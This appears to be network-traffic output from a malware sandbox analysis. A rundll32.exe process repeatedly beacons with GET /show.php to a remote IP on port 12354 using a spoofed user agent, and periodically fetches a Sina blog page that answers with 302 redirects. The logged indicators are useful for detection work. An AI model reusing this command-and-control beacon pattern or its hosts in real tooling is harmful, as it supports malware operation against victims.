Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.9	50959	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:05.187299013 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.9	50969	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:05.310873985 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.9	51054	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:07.076435089 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.9	51059	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:07.195472956 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.9	51060	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:07.196517944 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:08.789449930 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:08 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.9	51165	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:09.309463024 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.9	51174	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:09.444801092 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.9	51270	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:11.075556993 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.9	51280	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:11.214385033 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:12.778274059 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:12 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.9	51281	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:11.311927080 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.9	51398	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:13.324873924 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.9	51413	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:13.550810099 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.9	51518	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:15.216516018 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.9	51526	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:15.328713894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.9	51528	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:15.350385904 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:16.914438009 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:16 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.9	51647	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:17.465831995 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.9	51656	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:17.579092026 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.9	51746	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:19.232347965 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.9	51754	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:19.350450039 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.9	51755	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:19.350764990 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:20.919367075 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:20 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.9	51887	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:21.482290983 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.9	51895	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:21.605012894 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.9	53096	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:23.250932932 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.9	53196	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:23.370752096 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.9	53200	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:23.378680944 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:25.004707098 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:24 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.9	55196	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:25.520596981 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.9	55373	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:25.643363953 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.9	56825	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.264153957 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.9	56943	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.383249998 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.9	56944	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:27.386986017 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:28.957947016 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:28 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.9	58262	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:29.517155886 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.9	58391	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:29.637411118 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.9	59886	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.284693956 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.9	60100	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.400567055 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:32.985845089 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:32 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.9	60187	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:31.459821939 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.9	62140	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:33.532506943 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.9	62324	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:33.703341961 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.9	63850	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.283638954 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.9	63952	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.399096012 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn
Dec 11, 2024 16:25:36.966459036 CET	371	IN	HTTP/1.1 302 Moved Temporarily Server: nginx/1.2.8 Date: Wed, 11 Dec 2024 15:25:36 GMT Content-Type: text/html Content-Length: 160 Connection: keep-alive Location: https://blog.sina.com.cn/u/5655029807 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx/1.2.8</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.9	63953	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:35.403767109 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.9	49408	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:37.516697884 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.9	49568	107.163.241.204	12354	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:37.649025917 CET	184	OUT	GET /show.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Host: 107.163.241.204:12354 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.9	50337	202.108.0.52	80	7556	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 16:25:38.908620119 CET	118	OUT	GET /u/5655029807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0) Host: blog.sina.com.cn

